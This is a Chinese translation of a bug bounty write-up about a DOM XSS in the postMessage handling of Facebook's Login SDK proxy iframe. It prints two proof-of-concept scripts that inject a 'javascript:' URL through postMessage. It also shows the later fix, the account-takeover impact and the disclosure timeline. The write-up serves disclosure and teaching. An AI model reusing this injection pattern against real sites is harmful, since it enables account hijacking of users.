文章讲述了作者分析Facebook开发者网站https://developers.facebook.com,从中发现网站postMessage()方法存在安全配置问题,可形成DOM XSS漏洞,对Facebook用户个人信息和账户构成威胁。漏洞最终获得Facebook奖励$20000。

window.postMessage()

window.postMessage() 方法可以实现跨域通信。通常来说,对于两个不同页面的脚本,只有基于同源策略时,这两个脚本才能相互通信。而window.postMessage() 方法借助postMessage API,即可实现跨域间的通信,例如,在一个页面和它生成的弹出窗口之间,或者是页面和嵌入其中的iframe之间。

更多postMessage方法的跨域通信知识,可以参考以下文章:

How cross window/frame communication happens in Javascript

https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/

https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/

漏洞背景

我认为postMessage引发的漏洞一直是被漏洞众测平台低估的,而且好多漏洞测试人员好像都不怎么重视。

最近,在找烦了一些开放接口和泄露密码类的漏洞之后,我想找找客户端漏洞,一开始我聚焦的范围是跨站脚本包含(XSSI)、JSONP(JSON with Padding)和postMessage类漏洞,但在cookie机制引入了SameSite属性后,前两种漏洞几乎已经灭绝了, 因此,我把重点放到了容易被大多数安全研究者忽视的postMessage漏洞身上,而且这种类型的漏洞测试起来相对简单且无需绕过防火墙。

为了方便测试/记录页面中的跨窗口通信,我自己写了一个Chrome插件式的跨域测试工具。正常来说,网站在小部件(widgets)、 插件(plugins)和开发组件(web SDKs)之间会使用iframe跨域通信。因此,我把测试目标定位在了Facebook网站的iframe框架上,这里,首当其冲的就是Facebook的开发者网站https://developers.facebook.com,因为该网站包含了很多的第三方插件。

之后,我发现该网站中的“Facebook Login SDK for JavaScript”创建了一个代理性质的iframe:v6.0/plugins/login_button.php,Facebook用它来进行跨域通信,其中该代理iframe还负责加载“Continue with Facebook ”按钮,但更有意思的是,网站中的javascript SDK在与该代理iframe通信时,其向代理iframe发送的一个初始负载中包含了“Continue with Facebook ”按钮的URL链接。大致的流程图如下:

如果我们仔细观察上述javascript SDK发给代理iframe的初始Payload,可以看到,其中的url参数会被一个i变量进行调用,而且,当按钮被用户点击后,会触发以下window.open事件:

i.url = i.url.replace(/cbt=\d+/, “cbt=” + a);

a = window.open(i.url, i.id, b(“buildPopupFeatureString”)(i));

当我看到 window.open 事件中的javascript时,我就若有所思了,因为用它可以来构造window.open(‘javascript:alert(document.domain)’)这种DOM XSS的漏洞利用,而且在javascript中,完全没有URL或其它形式的身份验证机制。

因此,如果我们向Facebook代理iframe-https://www.facebook.com/v6.0/plugins/login_button.php,发送一个形如url:’javascript:alert(document.domain)’的Payload后,如果用户点击了“Continue With Facebook”按钮后,那么javascript:alert(document.domain)就会毫无疑问地在facebook.com网站中触发执行了!

Exploiting the Iframe

这里有两种方法来进行构造利用:

1、打开一个弹出窗口并与其进行通信

2、打开一个iframe并与其进行通信

弹窗方法的构造代码如下:


<script>  

   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

   setTimeout(function(){

        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

        opener.postMessage(message, '*');

    },'4000');

</script>

在构造iframe方法时,由于Facebook的该网站服务端中缺失’X-Frame-Options’头或CSP嵌入策略头’frame-ancestors’,所以可以在构造代码中嵌入以下页面:


<script>

function fbFrameLoaded() {

  var iframeEl = document.getElementById('fbframe');

  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

  iframeEl.contentWindow.postMessage(message, '*');

};

</script>

<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

漏洞修复

Facebook通过添加了facebook.com正则域规则,并在javascript SDK发送给代理iframe的Payload中实施了url参数检查校验,最终修复了该漏洞。


d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),

j = c.call;

d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

漏洞PoC视频

漏洞影响

漏洞源于postmessage通信时的错误配置,导致攻击者可以构造恶意页面诱惑受害者点击其中的login with the Facebook按钮,从而会在facebook.com网站中触发一系列的恶意XSS Payload执行,深入利用将对受害者账户造成一键点击劫持。

漏洞上报和处理进程

2020.4.17 – 漏洞初报

2020.4.17 – Facebook确认漏洞有效

2020.4.20 – Facebook修复漏洞

2020.4.29 – Facebook验证漏洞修复有效

2020.5.01 – Facebook奖励了我$20000

*参考来源:vinothkumar,clouds 编译整理,转自 FreeBuf